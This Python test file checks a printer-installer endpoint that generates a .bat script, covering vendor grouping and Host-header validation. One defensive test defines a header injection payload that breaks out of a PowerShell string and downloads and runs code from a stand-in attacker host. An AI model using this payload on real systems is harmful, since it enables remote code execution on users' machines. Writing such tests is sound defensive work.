164 lines
6.9 KiB
Python
164 lines
6.9 KiB
Python
"""Tests for the printer installer batch endpoint (/api/printers/install-batch).
|
|
|
|
The printer installer map lets a user pick printers on the shopfloor map and
|
|
download a .bat that installs them, grouping the same way the classic
|
|
installprinter.asp did (HP/Xerox -> universal PrinterInstaller.exe; other
|
|
printers with a .exe installpath -> that installer /SILENT; anything else ->
|
|
manual).
|
|
"""
|
|
|
|
import pytest
|
|
|
|
|
|
@pytest.fixture
|
|
def printer_assettype(db):
|
|
from shopdb.core.models import AssetType
|
|
at = AssetType(assettype='printer', pluginname='printers',
|
|
tablename='printers', description='Printers')
|
|
db.session.add(at)
|
|
db.session.commit()
|
|
return at
|
|
|
|
|
|
def _vendor(db, name):
|
|
from shopdb.core.models import Vendor
|
|
v = Vendor(vendor=name)
|
|
db.session.add(v)
|
|
db.session.commit()
|
|
return v
|
|
|
|
|
|
def _make_printer(client, auth_headers, **payload):
|
|
resp = client.post('/api/printers', json=payload, headers=auth_headers)
|
|
assert resp.status_code == 201, resp.get_json()
|
|
return resp.get_json()['data']['printer']['printerid']
|
|
|
|
|
|
def test_install_batch_groups_universal_specific_and_manual(
|
|
client, db, auth_headers, printer_assettype):
|
|
hp = _vendor(db, 'HP')
|
|
zebra = _vendor(db, 'Zebra')
|
|
epson = _vendor(db, 'Epson')
|
|
|
|
# HP -> universal installer
|
|
hp_id = _make_printer(client, auth_headers, assetnumber='CSF04-WJRP2035-HP',
|
|
hostname='wjprn04', vendorid=hp.vendorid)
|
|
# Zebra with a .exe installpath -> specific silent install
|
|
zebra_id = _make_printer(client, auth_headers, assetnumber='LABELER-ZEBRA',
|
|
hostname='wjprn05', vendorid=zebra.vendorid,
|
|
installpath='./installers/printers/zddriver.exe')
|
|
# Epson with a .zip installpath -> manual (we do not run a .zip /SILENT)
|
|
epson_id = _make_printer(client, auth_headers, assetnumber='RECEIPT-EPSON',
|
|
hostname='wjprn06', vendorid=epson.vendorid,
|
|
installpath='./installers/printers/c350navi.zip')
|
|
|
|
ids = '%d,%d,%d' % (hp_id, zebra_id, epson_id)
|
|
resp = client.get('/api/printers/install-batch?printerids=' + ids,
|
|
headers=auth_headers)
|
|
assert resp.status_code == 200
|
|
assert 'application/octet-stream' in resp.headers['Content-Type']
|
|
assert '.bat' in resp.headers['Content-Disposition']
|
|
|
|
bat = resp.get_data(as_text=True)
|
|
# Universal group: HP printer name in a /PRINTER list + PrinterInstaller.exe
|
|
assert 'PrinterInstaller.exe' in bat
|
|
assert '/PRINTER="CSF04-WJRP2035-HP"' in bat
|
|
# Specific: the .exe installpath resolved + run /SILENT
|
|
assert 'installers/printers/zddriver.exe' in bat
|
|
assert '/SILENT' in bat
|
|
# Manual: the .zip printer is flagged, NOT executed
|
|
assert 'MANUAL' in bat
|
|
assert 'RECEIPT-EPSON' in bat
|
|
assert 'c350navi.zip' not in bat # never handed to the runner
|
|
|
|
|
|
def test_install_batch_resolves_vendor_via_model(
|
|
client, db, auth_headers, printer_assettype):
|
|
"""A printer with no direct vendorid still groups as universal when its
|
|
MODEL's vendor is HP/Xerox (the import sets the model, not the printer's
|
|
vendorid) - the bug that dumped every prod printer into 'manual (unknown)'."""
|
|
from shopdb.core.models import Vendor, Model
|
|
|
|
xerox = Vendor(vendor='Xerox')
|
|
db.session.add(xerox)
|
|
db.session.commit()
|
|
model = Model(modelnumber='VersaLink C7125', vendorid=xerox.vendorid)
|
|
db.session.add(model)
|
|
db.session.commit()
|
|
|
|
# No vendorid on the printer - only the model ties it to Xerox.
|
|
pid = _make_printer(client, auth_headers, assetnumber='SpoolsInspection-Xerox',
|
|
hostname='wjprn07', modelnumberid=model.modelnumberid)
|
|
|
|
resp = client.get('/api/printers/install-batch?printerids=%d' % pid,
|
|
headers=auth_headers)
|
|
assert resp.status_code == 200
|
|
bat = resp.get_data(as_text=True)
|
|
assert 'PrinterInstaller.exe' in bat
|
|
assert '/PRINTER="SpoolsInspection-Xerox"' in bat
|
|
assert 'MANUAL' not in bat
|
|
|
|
|
|
def test_install_batch_requires_ids(client, db, auth_headers, printer_assettype):
|
|
resp = client.get('/api/printers/install-batch', headers=auth_headers)
|
|
assert resp.status_code == 400
|
|
|
|
|
|
# --- the generated script is a script: what reaches it must be a hostname -----
|
|
#
|
|
# _batch_base_url() interpolates a request-supplied host into the single-quoted
|
|
# PowerShell -Uri literal of the .bat this route hands out, and site_base_url
|
|
# ships blank, so that fallback is the DEFAULT path rather than an edge case.
|
|
# A quote in the host would end the literal. These pin the three rules that stop
|
|
# it: validate the Host, only believe X-Forwarded-Host behind a declared proxy,
|
|
# and emit a relative base rather than a host we cannot vouch for.
|
|
|
|
INJECT = "evil';iex(iwr http://attacker/x);'"
|
|
|
|
|
|
def test_install_batch_refuses_a_host_that_is_not_a_hostname(
|
|
client, db, auth_headers, printer_assettype):
|
|
hp = _vendor(db, 'HP')
|
|
pid = _make_printer(client, auth_headers, assetnumber='CSF04-WJRP2035-HP',
|
|
hostname='wjprn01', vendorid=hp.vendorid)
|
|
resp = client.get('/api/printers/install-batch?printerids=%d' % pid,
|
|
headers={**auth_headers, 'Host': INJECT})
|
|
assert resp.status_code == 200
|
|
bat = resp.get_data(as_text=True)
|
|
assert 'iex' not in bat
|
|
assert 'attacker' not in bat
|
|
# No host survived, so the download URL is relative rather than poisoned.
|
|
assert "-Uri '/installers/PrinterInstaller.exe'" in bat
|
|
|
|
|
|
def test_install_batch_ignores_forwarded_host_with_no_declared_proxy(
|
|
client, db, auth_headers, printer_assettype):
|
|
"""TRUSTED_PROXY_COUNT defaults to 0, so the header is caller-supplied and
|
|
must not be believed - the same rule clientip.py applies to
|
|
X-Forwarded-For."""
|
|
hp = _vendor(db, 'HP')
|
|
pid = _make_printer(client, auth_headers, assetnumber='CSF04-WJRP2035-HP',
|
|
hostname='wjprn01', vendorid=hp.vendorid)
|
|
resp = client.get('/api/printers/install-batch?printerids=%d' % pid,
|
|
headers={**auth_headers,
|
|
'X-Forwarded-Host': 'attacker.example'})
|
|
assert resp.status_code == 200
|
|
bat = resp.get_data(as_text=True)
|
|
assert 'attacker.example' not in bat
|
|
|
|
|
|
def test_install_batch_uses_a_real_forwarded_host_behind_a_declared_proxy(
|
|
client, db, auth_headers, printer_assettype, app):
|
|
hp = _vendor(db, 'HP')
|
|
pid = _make_printer(client, auth_headers, assetnumber='CSF04-WJRP2035-HP',
|
|
hostname='wjprn01', vendorid=hp.vendorid)
|
|
app.config['TRUSTED_PROXY_COUNT'] = 1
|
|
try:
|
|
resp = client.get('/api/printers/install-batch?printerids=%d' % pid,
|
|
headers={**auth_headers,
|
|
'X-Forwarded-Host': 'shopdb.example.net'})
|
|
bat = resp.get_data(as_text=True)
|
|
assert 'https://shopdb.example.net/installers/' in bat
|
|
finally:
|
|
app.config['TRUSTED_PROXY_COUNT'] = 0
|